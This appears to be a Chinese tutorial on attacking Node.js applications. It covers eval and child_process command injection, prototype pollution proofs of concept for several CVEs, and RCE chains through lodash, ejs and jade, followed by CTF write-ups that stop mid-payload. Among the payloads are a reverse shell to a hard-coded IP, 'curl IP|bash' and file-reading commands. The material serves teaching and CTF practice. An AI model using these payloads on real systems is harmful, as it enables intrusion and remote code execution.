nodejs全覆盖

nodejs全覆盖
2023-4-1 23:16:49 Author: xz.aliyun.com(查看原文) 阅读量:29 收藏

前言

或许前路永夜，即便如此我也要前进，因为星光即使微弱也会为我照亮前途。————四月是你的谎言

Nodejs

介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境，基于 Google 的 V8 引擎，V8 引擎执行 Javascript 的速度非常快，性能非常好。

应用

第一大类：用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
第二大类：基于web、canvas等多人联网游戏
第三大类：基于web的多人实时聊天客户端、聊天室、图文直播
第四大类：单页面浏览器应用程序
第五大类：操作数据库、为前端和移动端提供基于json的API

特性

大小写

toUpperCase() 在JavaScript中是将小写改为大写的函数

但是就是在转换大小写的过程中我们可以使用一些我们并不常见的字符来转换出我们所需要的字符来绕过过滤

"ı".toUpperCase() == 'I'，"ſ".toUpperCase() == 'S'

那么相对应的 toLowerCase() 也会有相关的特性

"K".toLowerCase() == 'k'

弱类型

与php相似的数字与数字字符串比较的时候数字型字符串会被转换之后再比较

console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

最后一个字符串被转换完之后可能是0 了捏

字符串与字符串相比较比第一个ASCII码

console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false

空数组比较为false

数组之间比较第一个值如果有字符串取第一个进行比较

数组永远比非数值字符串小

console.log(null==undefined) // 输出：true
console.log(null===undefined) // 输出：false
console.log(NaN==NaN)  // 输出：false
console.log(NaN===NaN)  // 输出：false

变量拼接

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

我们可以使用反引号替代括号执行函数可以用反引号替代单引号双引号可以在反引号内插入变量模板字符串是将字符串作为参数传入函数中而参数是一个数组所以数组遇到${] 字符串会被分割

var aaaa = "fake_s0u1";
console.log("hello %s",aaaa);

var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`;

代码注入

漏洞函数

eval()

javascript 的 eval 作用就是计算某个字符串，并执行其中的 js 代码。

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');

我们可以看到我们在上面的源码中使用了eval函数

process 的作用是提供当前 node.js 进程信息并对其进行控制。

Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。

spawn() 启动一个子进程来执行命令 spawn(命令,{shell:true})

exec()：启动一个子进程来执行命令，与spawn()不同的是其接口不同，它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。

execFile() ：启动一个子进程来执行可执行文件。实际利用时，在第一个参数位置执行 shell 命令，类似 exec。

fork()：与spawn()类似，不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件，实际利用中需要提前写入恶意文件

settimeout()

settimeout(function,time)，该函数作用是两秒后执行函数，function 处为我们可控的参数。

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})

setinterval()

setinterval (function,time)，该函数的作用是每个两秒执行一次代码。

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})

function()

function(string)()，string 是传入的参数，这里的 function 用法类似于 php 里的 create_function。

var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:1234/");
})

process 模块命令执行

exec：

require('child_process').exec('calc');

execFile

require('child_process').execFile("calc",{shell:true});

fork

require('child_process').fork("./hacker.js");

spawn

require('child_process').spawn("calc",{shell:true});

反弹shell

require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

注意：BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

PS：如果上下文中没有require(类似于Code-Breaking 2018 Thejs)，则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

文件操作

那么在上面我们已经可以执行我们像执行的代码了那么对于文件的操作也是很好实现的

操作函数后面有Sync 代表同步方法

nodejs文件系统模块中的方法均有异步和同步版本比如读取文件内容的函数有异步的fs.readFile() 和同步的 fs.readFileSync()。

异步的方法函数最后一个参数为回调函数回调函数的第一个参数包含了错误信息

建议使用异步方法性能更高速度更快

增删查改

res.end(require('fs').readdirSync('.').toString())

res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());

res.end(require('fs').readFileSync('./daigua.txt').toString());

res.end(require('fs').rmdirSync('./daigua').toString());

原型链污染 step1

原型链污染就是我们控制私有属性（proto）指向的原型对象（prototype），将其的属性产生变更那么所继承她的对象也会拥有这个属性

prototype和proto 分别是甚么

JavaScript中，我们如果要定义一个类，需要以定义“构造函数”的方式来定义：

function Foo() {
    this.bar = 1
}

new Foo()

Foo函数的内容就是 Foo类的构造函数而this.bar 就是 Foo类的一个属性

为了简化编写JavaScript代码，ECMAScript 6后增加了class语法，但class其实只是一个语法糖。

一个类中必然有一些方法类似属性this.bar 我们也可以将方法定义再构造函数内部

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

但这样写有一个问题，就是每当我们新建一个Foo对象时，this.show = function...就会执行一次，这个show方法实际上是绑定在对象上的，而不是绑定在“类”中。

我希望在创建类的时候只创建一次 show方法这时候就要使用 prototype了

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

我们可以认为原型prototype 是类Foo的一个属性而所有用Foo类实例化的对象都将拥有这个属性中的所有内容而所有用Foo类实例化的对象都将拥有这个属性的所有内容包括变量和方法比如上面的foo对象其天生就具有 foo.show() 方法

我们可以通过 Foo.prototype 来访问Foo类的原型但是 Foo实例化出来的对象是不能通过 prototype访问原型的那么这个时候就该__proto__ 登场了

一个 Foo类实例化出来的foo对象可以通过 foo.__proto__ 属性来访问Foo类的原型

foo.__proto__ == Foo.prototype

所以，总结一下：

prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性，指向这个对象所在的类的prototype属性

JavaScript原型链污染

所有类对象在实例化的时候都会拥有 prototype中的属性和方法这个特性被用来实现JavaScript 中的继承机制

such as

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了 Father类的last_name 属性最后输出的是 Name: Melania Trump

对于对象 son 在调用 son.last_name 的时候实际上 JavaScript 引擎会进行如下操作

在对象son中寻找 last_name
找不到则在son.proto 中寻找last_name
如果仍然找不到则继续在son.proto.proto 中寻找last_name
依次寻找直到找到null 结束比如 Object.prototype 的 proto都是 null

JavaScript的这个查找的机制被应用在面向对象的继承中被称作 prototype 继承链

综上需要记住以下几点

每个构造函数（constructor）都有一个原型对象（prototype）
对象的proto属性指向类的原型对象（prototype）
JavaScript使用prototype 链实现继承机制

什么是原型链污染

一个demo

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型（即Object）
foo.__proto__.bar = 2

// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

这个语句到最后 zoo.bar 的结果是2 虽然zoo是一个空对象

而这个的原因也就是在前面我们修改foo的原型 foo.proto.bar =2 而 foo是一个 Object类的实例所以实际上是修改了Object这个类给这个类增加了一个属性bar 值为2

后来我们又用 Object类创建了一个 zoo对象那么这个zoo对象自然也有一个bar属性了

那么，在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

简单易懂的说就是儿子改了老子也被传染了然后其所再产生的儿子也是这个属性了

demo2

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

o1 和 o2 相当于继承了Object.prototype 所以当我们对一个对象设置foo属性就造成了原型链污染导致Object2 也拥有了foo属性

那些情况下会有原型链污染

如果我们需要利用原型链污染那我们就需要设置 __proto__ 的值也就是需要找到能控制数组的键名的操作最常见的就是merge clone copy

merge方法是合并对象的方法合并两个对象或者多个对象的属性

clone方法就是克隆捏

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中存在赋值的操作 target[key] = source[key] 那么这个key如果是 proto是不是就可以进行原型链污染

我们用如下代码试一下啊

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以看到这样写并没有进行污染但是二者合并了

这是因为我们用JavaScript 创建o2的过程{a: 1, "__proto__": {b: 2}} 中 proto已经代表o2的原型了此时遍历 o2所有键名你拿到的是[a,b] proto并不是一个key 自然也不会修改 Object的原型

那么我们的任务就变成了让proto 被认为是一个键名

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)
最终输出
1 2
2

向上面这么写最后会完成污染这是因为 json解析的时候 proto会被认为成一个真正的键名而不代表原型所以在遍历o2的时候会存在这个键

但是我们输出a 为undefined

上面o1 o2 输出a为1 是因为 merge对二者进行了融合但是并没有进行污染

Undefsafe 模块原型链污染（CVE-2019-10795）

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object.a.b.e)

console.log(object.a.c.e)

可以看到当我们正常访问object属性的时候会有正常的回显，但当我们访问不存在属性时则会得到报错：

undefsafe可以帮我们解决这个问题

她还有一个功能在对对象赋值时如果目标属性存在其可以帮助我们修改对应属性的值

当属性不存在的时候我们可以对属性赋值

这个需要下载 undefsafe小于2.0.3的版本

我们可以发现当我们可以控制undefsafe函数的第2 3 个参数的时候我们可以污染 object中的值

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)

我们可以看到上面成功的进行了原型链污染

因为在在上面污染了toString 因为在当前对象中找不到于是需要向上溯源

最后在进行this is 和 test拼接的时候触发了tostring 造成了原型链污染

在2.0.3后的版本加上了下面的限制

应该是对于其修改Object中本身的属性做出了限制所以不能进行污染了

审计

split()

function splitStr(str, separator) {

    // Function to split string
    var string = str.split(separator);

    console.log(string);
}

// Initialize string
var str = "GeeksforGeeks/A/computer/science/portal";

var separator = "/";

// Function call
splitStr(str, separator);

Output:
[ 'GeeksforGeeks', 'A', 'computer', 'science', 'portal' ]

Array.prototype.filter()

filter() 方法會建立一個經指定之函式運算後，由原陣列中通過該函式檢驗之元素所構成的新陣列。

const words = ['spray', 'limit', 'elite', 'exuberant', 'destruction', 'present'];

const result = words.filter(word => word.length > 6);

console.log(result);
// expected output: Array ["exuberant", "destruction", "present"]

相当于一个过滤器

Array.prototype.slice()

slice() 方法會回傳一個新陣列物件，為原陣列選擇之 begin 至 end（不含 end）部分的淺拷貝（shallow copy）。而原本的陣列將不會被修改。

const animals = ['ant', 'bison', 'camel', 'duck', 'elephant'];

console.log(animals.slice(2));
// expected output: Array ["camel", "duck", "elephant"]

console.log(animals.slice(2, 4));
// expected output: Array ["camel", "duck"]

console.log(animals.slice(1, 5));
// expected output: Array ["bison", "camel", "duck", "elephant"]

console.log(animals.slice(-2));
// expected output: Array ["duck", "elephant"]

console.log(animals.slice(2, -1));
// expected output: Array ["camel", "duck"]

console.log(animals.slice());
// expected output: Array ["ant", "bison", "camel", "duck", "elephant"]

这是相当于一个数组切割的工具

Array.prototype.join()

join() 方法會將陣列（或一個類陣列（array-like）物件）中所有的元素連接、合併成一個字串，並回傳此字串。

const elements = ['Fire', 'Air', 'Water'];

console.log(elements.join());
// expected output: "Fire,Air,Water"

console.log(elements.join(''));
// expected output: "FireAirWater"

console.log(elements.join('-'));
// expected output: "Fire-Air-Water"

Merge类操作导致原型链污染

原型链污染的主要思想实际上就是寻找能够操纵键值的位置然后利用proto来向上污染

const merge = (a, b) => {    // 发现 merge 危险操作
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

const clone = (a) => {
  return merge({}, a);
}

在上面我们使用了merge 进行操作 merge 方法用在merge操作以及 clone操作中

我们可以利用merge来合并两个复杂的对象用clone创建一个和现在对象相同的对象

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

merge有着合并的作用

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

function clone(a) {
  return merge({}, a);
}

let object1 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');

clone(object1)
console.log(object1.a);
console.log(object1.b);


object2 = {}
console.log(object2.b)

clone 也是一样的

merge.recursiveMerge CVE-2020-28499

影响2.1.1以下的merge版本

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

我们可以审计以下源码看一下这里merge的漏洞出现在哪里

在此处进行了修复

‍

lodash 模块原型链污染

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集，其中包含字符串、数组、对象等操作。

lodash.defaultsDeep 方法 CVE-2019-10744

此漏洞影响小于4.17.12 版本的lodash

lodash库中的 defaultsDeep函数可能会被包含constructor的payload诱骗添加或修改Object.prototype 最终导致污染

漏洞发现者给出的poc

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

我们加上一个输出可以验证一下是否收到了污染

在这里已经污染到原型了

其实 constructor 就可以理解为实例化出来对象的时候会触发于是便可以造成污染

在修复方法中是直接将constructor check掉了可以进行防御

lodash.merge 方法 CVE-2018-3721

merge是与上面所提到的merge是相差无几的

在其中调用了baseMerge

在这里没有直接调用查找baseMergeDeep

调用assignMergeValue

这是一个经过了过滤的版本之前没有过滤的版本是在这里直接可以控制键值对

这个版本中就是将过滤放到了baseAssignValue 不改变proto 便可以进行赋值

在lodash 4.17.5之前的版本中存在这个漏洞

lodash.mergeWith 方法 CVE-2018-16487

4.17.11之前的版本存在这个漏洞

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

这个方法也是依靠 baseMerge 大致和上面的差不多

lodash.set 方法以及 setWith 方法 CWE-400

lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

set类开始

跟进baseSet

跟进assignValue

跟进baseAssignValue

当key 不为proto 时可以触发赋值

lodash.zipObjectDeep 方法 CVE-2020-8203

在lodash 4.17.20之前的版本适用

poc

const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123

查看源码

跟进baseZipObject

在此处利用到了 assign函数

就是可以进行覆盖的一个函数

在这里我们demo中传入的值，前者给到prop，后者给到values

然后prop取其中的属性，适用values覆盖，便达到了目的

safe-obj 原型链污染 CVE-2021-25928

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

从poc中可以看出是在safeObj的expand里面存在漏洞那么我们直接可以看这部分的源码

关于path的解释如下

词如其名就是所使用的文件的路径

在此处先是对传入的path进行 split 在demo中就是分为了 [__proto__,polluted] 然后在此处判断props的length

在此处数组中是由 [__proto__,polluted] 组成的 length为1 所以proto 等于 thing 造成原型链污染

注意此处数组中有两个元素的时候 length为1

safe-flat 原型链污染 CVE-2021-25927

poc

2.0.0 到 2.0.1 存在漏洞

var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);

漏洞点如上

typeof的作用如上

isDate的作用是判断是否为时间对象

forEach

reduce方法

jQuery 原型链污染 CVE-2019-11358

poc:

var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';

let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "fake_s0u1"}}'));
console.log({}.exploit);

注意在镜像库中的 jquery 都是小写的虽然在产品名中有大写 npm是区分大小写的

console.table 原型链污染 CVE-2022-21824

Node.js < 12.22.9, < 14.18.3, < 16.13.2, and < 17.3.1

poc:

console.table([{a:1}], ['__proto__'])
console.table([{x:1}], ["__proto__"]);

原型链污染 step2

我们对原型链污染进行污染的目的就是要进行rce

lodash.template 进行rce

Lodash.template 是 Lodash 中的一个简单的模板引擎，创建一个预编译模板方法，可以插入数据到模板中 “interpolate” 分隔符相应的位置

在lodash中 options对象的sourceURL

options是一个对象 sourceURL是通过下面的语句定义的是通过了一个三目运算法赋值取到了其options.sourceURL 属性其默认没有此属性所以其默认也为空

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

同时在此处定义的sourceURL 在下面拼接进了 Function的第二个参数造成任意代码执行漏洞

如果给options的原型对象加一个 sourceURL 属性那么便可以控制她的值

需要注意的是 Function里面是没有require函数的我们不能直接使用require('child_process') 我们需要使用global.process.mainModule.constructor._load 来进行代替后续的调用

payload

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

配合 ejs 模板引擎实现 RCE CVE-2022-29078

在Nodejs的 ejs模块引擎中存在利用原型污染进行rce的一个漏洞

"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"

配合 jade 模板引擎实现 RCE

jade模板引擎也可以帮助我们实现原型链污染的rce

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

题目

web 334

附件给出两个文件在user中有用户名和密码为CTFSHOW 和 123456 然后再login文件中我们发现 username在传入的时候是会经过toUpperCase 处理的也就是会变成大写那么我们只需要传入ctfshow即可

web 335

题中提示我们eval 应该是我们所传入的命令就会被执行那么我们不妨来看一下命令如何被执行我们这里查了一下我们可以利用child_process去执行命令我们这里利用的是

这样三个函数

web 336

跟着y4师傅学到我们可以使用

__filename //返回当前模块文件被解析过后的绝对路径
__dirname //返回当前模块文件解析过后的所在文件夹的绝对路径

于是我们这里可以使用前者获得以下回显

/app/routes/index.js

我们可以尝试着将其读取出来

?eval=require('fs').readFileSync('/app/routes/index.js')

这里调用的是fs文件系统我们使用readFileSync来读取其文件回显出该文件

var express = require('express'); var router = express.Router(); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var evalstring = req.query.eval; if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){ res.render('index',{ title: 'tql'}); }else{ res.render('index', { title: eval(evalstring) }); } }); module.exports = router;

我们从中可以看到exec 和 load 是被过滤掉了的我们绕过exec 我们还可以使用spawn去执行命令可以采用yu师傅的方法

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout

去读取亦或者我们可以从ssti那里学来拼接命令的方式来绕过其过滤

eval=require('child_process')['exe'%2B'cSync']('ls').toString()

这里我们的+ 需要使用url编码否则是出不来的原因大概是会被解析成空格

再或者说我们在使用fs读取的时候我们使用readdirSync 去读取目录中的文件我们可以得到

/?eval=require('fs').readdirSync('.')
回显app.js,bin,fl001g.txt,modules,node_modules,package-lock.json,package.json,public,routes,sessions,views

我们可以从中发现flag 并可以使用同种方式去读取

?eval=require('fs').readFileSync('fl001g.txt')

可以得到flag

web 337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

我们从中可以看到一段关键的代码熟悉的MD5 我们这里就可以使用数组绕过来绕过MD5

web338

一开始在app.js中看没什么发现在login.js中有发现

需要把ctfshow污染成36dboy 便可以直接输出 flag

{"__proto__":{"ctfshow":"36dboy"}}

web339

上来再乍一看感觉和上一个题差不多

但是在这里传入的值变为了一个变量且在上面定义了这个变量

借用羽师傅的一个demo

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

这里涉及到的是一个变量的覆盖

最后输出的结果是覆盖后的结果

那么为啥query会被修改呢

首先原型链污染就是 js中所有对象的原型都可以继承到 Object 然后终点是null对象在前面也有说当在上下文中找不到相应对象的时候会遍历Object对象是否存在相应的属性

也就是说在上面那个题中不需要secret中有ctfshow属性这个里面也不需要有query属性当找不到的时候会自动开始遍历当我们进行污染之后会在原型中找到相关的属性而此时这个属性已经被我们给污染了为我们所用

在上面的demo中就是当copy调用的时候原型链被污染了

至于{ query: Function(query)(query)} 为何为 { query: 123 }

js的函数实际上都是一个 Function对象其参数为

new Function ([arg1[, arg2[, ...argN]],] functionBody)

0xgame dont_pollute_me

访问source路由可以获得源码

在源码中涉及到merge方法可能涉及到原型链污染

在time路由中存在命令执行

gotit路由中涉及到merge的利用可以修改键值对

将proto修改修改cmd为自己想要执行的命令

{"__proto__":{"cmd":"bash -i >& /dev/tcp/1.13.251.106/4000 0>&1"}}

在gotit路由下修改完后访问time路由触发命令执行

可以弹shell

使用

可以找到flag

[网鼎杯 2020 青龙组]notes

题目给出源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);    //应该是在这里涉及键值的修改
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {    //此处执行command代码
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

在上面的源码中涉及到 undefsafe的使用也就是说只要我们可以控制其第 2 3 个参数便可以达到原型链污染的目的

在上面存在 undefsafe的调用的只有两处第一处在edit_note 另一处在 get_note

在edit的路由中

其实是三个参数都是可以控制的那么这里存在被污染的可能那么我们可以通过此处对上面定义的 note_list 进行污染然后再去status路由下进行命令执行

edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

在此处我们看到 edit中的参数 id参数是在undefsafe的第二个参数位置上的 author和raw是在第三个参数上的

我们在这里将id赋值为我们想要污染的属性后面为污染的值

而在command处则是对于其中可能存在的命令进行遍历然后执行也就是我们可以随意的污染属性从而达到执行命令的目的

payload：id=__proto__.aaa&author=curl IP|bash&raw=1

反弹shell

[GYCTF2020]Ez_Express

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

www.zip 源码泄露以上为index.js 源码

上面定义了merge方法

在此处调用了 clone 存在原型链污染的可能在上面clone将传入的值与空白对象进行merge操作

在下面的info路由中将c 渲染到了 index中而且在上面 outputFunctionName 还是未定义的属性我们可以尝试污染这个属性

基本理顺了但是在尝试访问 action路由的时候我们发现只有admin才能访问那么我们需要尝试以admin来登录我们在register路由中

看到toUpperCase方法这里可以想到在ctfshow中学习到的JavaScript的特性 toUpperCase 存在

"ı".toUpperCase() == 'I'，"ſ".toUpperCase() == 'S'

以上的漏洞我们可以借此伪造admin登录

userid=admın&pwd=123&Submit=register

登录之后就可以按照我们上面的思路进行原型链污染

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"},"Submit":""}

[湖湘杯 2021 final]vote

给出源码

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

    if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
        return res.json({
            'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with correct name.'
        });
    }
});

module.exports = router;

在上面使用了flat 和 pug 渲染 flat可以原型链污染 pug可以rce

{
    "__proto__.block": {
        "type": "Text", 
